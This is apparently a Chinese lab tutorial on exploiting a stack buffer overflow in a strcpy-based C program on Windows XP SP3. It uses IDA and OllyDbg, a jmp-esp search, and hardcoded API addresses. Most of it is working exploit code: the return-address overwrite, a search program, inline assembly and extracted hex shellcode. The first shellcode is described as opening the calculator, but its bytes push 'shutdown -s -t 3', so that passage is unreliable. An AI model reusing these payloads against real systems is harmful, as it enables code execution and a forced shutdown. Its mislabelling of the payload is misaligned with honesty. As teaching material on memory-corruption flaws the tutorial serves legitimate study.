1. 实验环境

  • 操作系统:Windows XP系统 SP3
  • IDE:Microsoft VC++6.0

2. 实验步骤

0x01.C程序编写

先使用危险函数编写一个简单的C程序并生成32位的exe文件

1
2
3
4
5
6
7
8
9
10
11
12
#include<stdio.h>
#include<string.h>

char name[] = "hello";

int main() {
char buffer[8];
strcpy(buffer, name);
printf("%s\n", buffer);
getchar();
return 0;
}

0x02.溢出分析

先拖入IDA找到C语言程序的入口函数并记录其地址
image-20230428094157455
双击点击_main_0进行跟进,即可看到C的main函数起始地址
image-20230428094203194

1
2
3
4
; 函数调用前的操作
push ebp ; 先把当前函数的栈底ebp压入栈中
mov ebp, esp ; 为调用的函数分配新的栈底
sub esp, 4c ; 抬高栈顶esp指针,实际就是为当前函数分配局部变量空间

进入OD直接在0x00401010F2下断点,并按F9开始运行程序进行
image-20230428094209300
到地址0x0040102D时可以看下C语言中的调用strcpy函数在汇编语言的实现过程
image-20230428094214971

1
2
3
4
push offset name ;将hello的变量地址压入栈中
lea eax, [ebp - 8] ; 并将栈底开始分配8byte大小的空间,在C语言中实际上相等于声明变量char buffer[8];
push eax ;将该变量地址压入栈中
call strcpy ; 调用strcpy(buffer, name),32位操作系统调用带参函数,参数从右往左先后压入栈中,再用call调用带参函数

strcpy函数执行完成后,可以发现在栈中地址[EBP - 8]0012FF78中内存已成功赋值为hello
image-20230428094221052
但再仔细观察栈内存的情况,可以发现地址0012FF80为main函数的栈底ebp指针,地址0012FF84为main函数执行完后的返回地址(下一条待执行指令的地址),如果能将栈地址为0012FF84内的返回地址改为我们执行shellcode代码的地址,则就可以执行shellcode。

如上图,目前栈中esp指针所指的内容为00401699,即程序接下来要执行指令的内存地址,可先观察正常情况。
image-20230428094225760

由于汇编中RETN指令的作用是从栈中pop出之前调用函数“call指令的下一条指令的内存地址”,故程序会跳回地址为00401699并执行该地址所指的指令;若代码中的name变量改为下列所示,即buffer只能存储8个字节,但此时name中包含17个字节,那经过strcpy函数拷贝后,栈内存又会发生什么变化。

1
2
//char name[] = "hello";	// old
char name[] = "HelloReverseWorld"; // new

image-20230428094230068
编译后运行会报错误弹窗,而地址0x6c726f57从右往左按照ASCII翻译过来是Worl,错误内容表示“该内存不能read”是因为该地址是一个无效地址,即EIP指针已指向该地址,但该地址内无内容,具体使用OD分析会更加形象
image-20230428094235851
image-20230428094240719
image-20230428094244930

直接来到执行完strcpy函数后,可以发现返回地址0012FF84和main函数的ebp地址0012FF80的内容全都被覆盖了,继续往下走,走到指令RETN后,也不难发现,返回的地址就是被覆盖的内容6C726F57,即RETN完后,会从栈中将该地址pop出来,并跳转到该地址指向指令,但该指令明显是个无效地址,所以OD的CPU窗口会跳转到空界面,并且会报错。

    故整理下栈溢出漏洞利用的逻辑:
  1. 找出包含栈溢出漏洞的代码,并确定返回地址;
  2. 确定需要其他几个函数调用的内存地址;
  3. 编写汇编代码,并提取shellcode;

0x03.定位溢出点

上次调试可以发现控制返回地址的是Worl这四个字符,不过可以再全部改为以下字符串,进行确定:

1
char name[] = "HelloReverseADDR";

确定合适的地址有很多种方法,例如找出指令jmp espcall ecx等等的机器码以及对应的地址,由于机器编码都是固定的,但每台系统的机器码所对应的地址可能不同,故需要根据机器码找出对应的地址即可(但实际上现在都开启了地址随机化)
其中运行程序时会自动载入kernel32.dll,故从该动态链接库中找jmp esp最为方便

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
// SearchJmpEspInUser32.cpp
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>

int main(){
BYTE *ptr;
int position;
HINSTANCE handle;
bool done_flag = FALSE;
//载入kernel.dll
handle = LoadLibrary("kernel32.dll");
if(!handle){
printf("load dll error!");
exit(0);
}
ptr = (BYTE*)handle;
for(position = 0; !done_flag; position++){
try{
//jmp esp语句的机器码为 FFE4,所以这里要这么写;
if(ptr[position]==0xFF && ptr[position+1]==0xE4){
int address = (int)ptr+position;
printf("opcode found at 0x%x\n",address);
}
}
catch(...){
int address = (int)ptr+position;
printf("end of 0x%x\n",address);
done_flag=true;
}
}
getchar();
return 0;
}

编译运行上述代码,可得到所有机器码jmp esp的地址,随便选择一个即可,本次实验选择0x7c874413作为覆盖返回地址的地址。
image-20230428094253090

除了jmp esp指令,还需要获取以下函数的内存地址:

  • LoadLibrary函数,在kernel32.dll动态链接库中,用于导入其他动态链接库;
  • system函数,在msvcrt.dll动态链接库中,用于执行系统命令;
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>

typedef void (*MYPROC) (LPTSTR); //定义一个函数指针,指向函数的参数是字符串,返回值是空


void SearchSystemInMsvcrt() {
HINSTANCE LibHandle;
MYPROC ProcAdd;
LibHandle = LoadLibrary("msvcrt.dll"); // 加载msvcrt.dll 这个动态链接库,句柄赋给LibHandle
ProcAdd = (MYPROC) GetProcAddress (LibHandle, "system"); //获得system的真实地址,之后再使用这个真实地址来调用system函数,ProcAdd存的是system函数的地址
printf("system addr = 0x%x\n", ProcAdd);
}

void SearchLoadLibrary() {
HINSTANCE k32 = GetModuleHandle(TEXT("kernel32.dll"));
DWORD addrW = (DWORD)GetProcAddress(k32, "LoadLibraryW"); // LoadLibrary unicode version
DWORD addrA = (DWORD)GetProcAddress(k32, "LoadLibraryA"); // LoadLibrary ascii version,用这个版本
printf("LoadLibraryA addr = 0x%x\n", addrA);
printf("LoadLibraryW addr = 0x%x\n\n", addrW);
}

int main(){
SearchLoadLibrary();
SearchSystemInMsvcrt();
getchar();
return 0;
}

image-20230428094300308

0x04.编写并提取shellcode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33

int main() {

_asm {
sub esp, 0x50
xor ebx, ebx

push ebx
push 0x20206c6c //push ll
push 0x642e7472 //push rt.d
push 0x6376736d //push msvc
mov ecx, esp // 将字符串"msvcrt.dll"压入栈中
push ecx;

mov eax, 0x7C801D7B // ds:[0042B188]=7C801D7B (kernel32.LoadLibraryA)
call eax // call LoadLibrary

push ebx //
push 0x3320742d //
push 0x202d7320
push 0x6e776f64
push 0x74756873
mov ecx, esp //
push ecx // push calc
mov eax, 0x77BF93C7 // 0x77bf93c7 ecx=77BF93C7 (msvcrt.system)
call eax // call system

push ebx;
mov eax, 0x7c81cb12
call eax // call ExitProcess
}
return 0;
}

然后通过 Microsoft Visual C++ 6.0Ollydbg进行提取shellcode
image-20230428094309063
最终提取的shellcode如下所示

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
char name[] =	"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x13\x44\x87\x7c" //jmp esp 0x7c874413
"\x83\xEC\x50" //SUB ESP,50
"\x33\xDB" //XOR EBX,EBX
"\x53" //PUSH EBX
"\x68\x6C\x6C\x20\x20" //PUSH 20206C6C
"\x68\x72\x74\x2E\x64" //PUSH 642E7472
"\x68\x6D\x73\x76\x63" //PUSH 6376736D
"\x8B\xCC" //MOV ECX,ESP
"\x51" //PUSH ECX
"\xB8\x7B\x1D\x80\x7C" //MOV EAX,7C801D7B
"\xFF\xD0" //CALL EAX
"\x53" //PUSH EBX
"\x68\x2D\x74\x20\x33"
"\x68\x20\x2D\x73\x20"
"\x68\x64\x6F\x77\x6E" // down
"\x68\x73\x68\x75\x74"
"\x8B\xCC" //MOV ECX,ESP
"\x51" //PUSH ECX
"\xB8\xC7\x93\xBF\x77" //MOV EAX,77BF93C7
"\xFF\xD0" //CALL EAX
"\x53" //PUSH EBX
"\xB8\x12\xCB\x81\x7C" //MOV EAX,7C81CB12
"\xFF\xD0"; //CALL EAX

修改源程序后运行即可弹出计算机
image

顺便总结了部分可触发栈溢出的函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
#include<stdio.h>
#include<string.h>

// strcpy函数栈溢出漏洞利用
void StrcpyOverFlow(char buffer[], char shellcode[]) {
char content[8];
strcat(buffer, shellcode); // 连接buffer和shellcode
strcpy(content, buffer); // 漏洞触发点
printf("%s\n", content);
}

// strcat函数栈溢出漏洞利用
void StrcatOverFlow(char buffer[], char shellcode[]) {
char content[8] = "Hello";
strcat(buffer, shellcode); // 连接buffer和shellcode
strcat(content, buffer); // 漏洞触发点
printf("%s\n", content);
}

// sprintf函数栈溢出漏洞利用
void SprintfOverFlow(char buffer[], char shellcode[]) {
char content[8];
strcat(buffer, shellcode); // 连接buffer和shellcode
sprintf(content, "%s", buffer); // 漏洞触发点
printf("%s\n", content);
}


int main() {
char buffer1[] ="\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"; // strcpy专用buffer
char buffer2[] ="\x90\x90\x90\x90\x90\x90\x90"; // strcat专用buffer
char buffer3[] ="\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"; // sprintf专用buffer
char shellcode[] = "\x13\x44\x87\x7c" //jmp esp 0x7c874413
"\x83\xEC\x50" //SUB ESP,50 抬高栈顶指针,保证shellcode的完整性
"\x33\xDB" //XOR EBX,EBX
"\x53" //PUSH EBX
"\x68\x6C\x6C\x20\x20" //PUSH 20206C6C 压入ll
"\x68\x72\x74\x2E\x64" //PUSH 642E7472 压入rt.d
"\x68\x6D\x73\x76\x63" //PUSH 6376736D 压入msvc
"\x8B\xCC" //MOV ECX,ESP 连接字符串msvcrt.dll
"\x51" //PUSH ECX 将字符串msvcrt.dll压入栈中
"\xB8\x7B\x1D\x80\x7C"
"\xFF\xD0" //LoadLibrary("msvcrt.dll")
"\x53" //PUSH EBX
"\x68\x63\x61\x6c\x63" //PUSH CALC,机器码是正常顺序,汇编是从后往前
"\x8B\xCC" //MOV ECX,ESP
"\x51" //PUSH ECX
"\xB8\xC7\x93\xBF\x77"
"\xFF\xD0" //CALL SYSTEM()
"\x53" //PUSH EBX
"\xB8\x12\xCB\x81\x7C"
"\xFF\xD0"; //CALL ExitProcess()

//StrcpyOverFlow(buffer1, shellcode);
//StrcatOverFlow(buffer2, shellcode);
//SprintfOverFlow(buffer3, shellcode);
char name[8];
gets(name);
printf("%s", name);
return 0;
}